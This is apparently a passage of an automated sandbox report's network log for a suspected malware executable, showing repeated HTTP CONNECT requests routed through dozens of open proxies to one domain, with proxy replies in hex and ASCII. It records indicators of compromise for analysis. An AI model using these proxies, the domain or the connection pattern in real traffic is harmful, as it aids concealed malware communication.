Feb 23, 2024 09:45:36.803188086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:36 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2045	192.168.2.4	55527	184.170.248.5	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.718175888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2046	192.168.2.4	55531	45.61.188.134	44499	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.720944881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2047	192.168.2.4	54138	162.241.74.136	64010	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.748692036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.865715981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.865849972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:48.881325006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2048	192.168.2.4	55355	45.167.124.30	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.748743057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.562876940 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2049	192.168.2.4	50631	50.63.13.3	12539	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.748786926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.178487062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.682466984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2050	192.168.2.4	55027	162.240.22.184	43494	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.749459028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.865712881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.865875959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2051	192.168.2.4	55384	156.200.116.73	1981	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.823736906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.865813971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.865859985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:48.881426096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:00.881227016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:12.943660021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2052	192.168.2.4	55353	148.72.211.168	57185	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.826416016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.682349920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2053	192.168.2.4	55322	184.178.172.11	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.827275991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2054	192.168.2.4	55538	154.12.178.107	29985	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.841387987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2055	192.168.2.4	55540	5.44.42.82	10808	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.854631901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2056	192.168.2.4	55534	171.247.243.231	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.854919910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2057	192.168.2.4	55533	36.64.238.82	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:36.864339113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2058	192.168.2.4	55397	64.227.108.25	31908	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.061029911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2059	192.168.2.4	54231	166.62.38.100	2453	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.144921064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2060	192.168.2.4	55005	117.160.250.130	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.145126104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.705303907 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:37 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2061	192.168.2.4	50811	91.121.88.53	8010	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.157880068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.292917013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2062	192.168.2.4	50786	45.80.151.33	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.157943010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.293005943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2063	192.168.2.4	55548	202.159.60.65	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.158025026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2064	192.168.2.4	55129	107.152.98.5	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.170737028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2065	192.168.2.4	50745	51.210.45.148	59612	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.170789003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.293004990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2066	192.168.2.4	55545	185.238.228.96	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.171473980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.258357048 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2067	192.168.2.4	55551	41.86.252.91	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.175451994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2068	192.168.2.4	50890	51.210.4.123	57969	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.177639961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.178334951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2069	192.168.2.4	54307	162.240.39.58	62858	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.177700043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2070	192.168.2.4	54168	47.90.126.78	8118	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.184653997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.429470062 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2071	192.168.2.4	55450	89.36.114.38	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.187438965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2072	192.168.2.4	50809	212.127.93.185	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.203068972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2073	192.168.2.4	55436	175.183.82.221	8197	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.203273058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2074	192.168.2.4	54250	109.205.181.27	25783	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.218391895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2075	192.168.2.4	55035	1.10.170.225	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.231300116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2076	192.168.2.4	55459	131.186.37.99	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.231425047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2077	192.168.2.4	55486	97.79.238.65	48576	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.231523991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.293139935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2078	192.168.2.4	54301	51.75.126.150	36694	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.231528044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2079	192.168.2.4	55492	193.239.56.84	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.232050896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2080	192.168.2.4	50724	196.1.182.46	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.302999020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2081	192.168.2.4	55465	70.166.167.38	57728	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.303917885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2082	192.168.2.4	50952	43.153.52.223	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.314605951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.381429911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2083	192.168.2.4	55495	80.13.43.193	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.377161980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.381467104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2084	192.168.2.4	55552	65.1.244.232	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.378535032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.653623104 CET	177	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:37 GMT Content-Type: text/plain X-Powered-By: PHP/5.6.20-0+deb8u1 Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2085	192.168.2.4	55553	103.78.0.44	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.416832924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2086	192.168.2.4	55508	211.43.214.205	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.432522058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.568861008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.568790913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.568674088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.584264994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:02.496974945 CET	429	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 08:46:02 GMT Server: cloudflare Content-Type: text/html; charset=UTF-8 Content-Length: 253 CF-RAY: - Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 63 65 6e 74 65 72 3e 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 The plain HTTP request was sent to HTTPS port</title></head><body><center><h1>400 Bad Request</h1></center><center>The plain HTTP request was sent to HTTPS port</center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2087	192.168.2.4	51248	209.216.90.208	52401	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:37.440191031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.568903923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.568797112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.568666935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
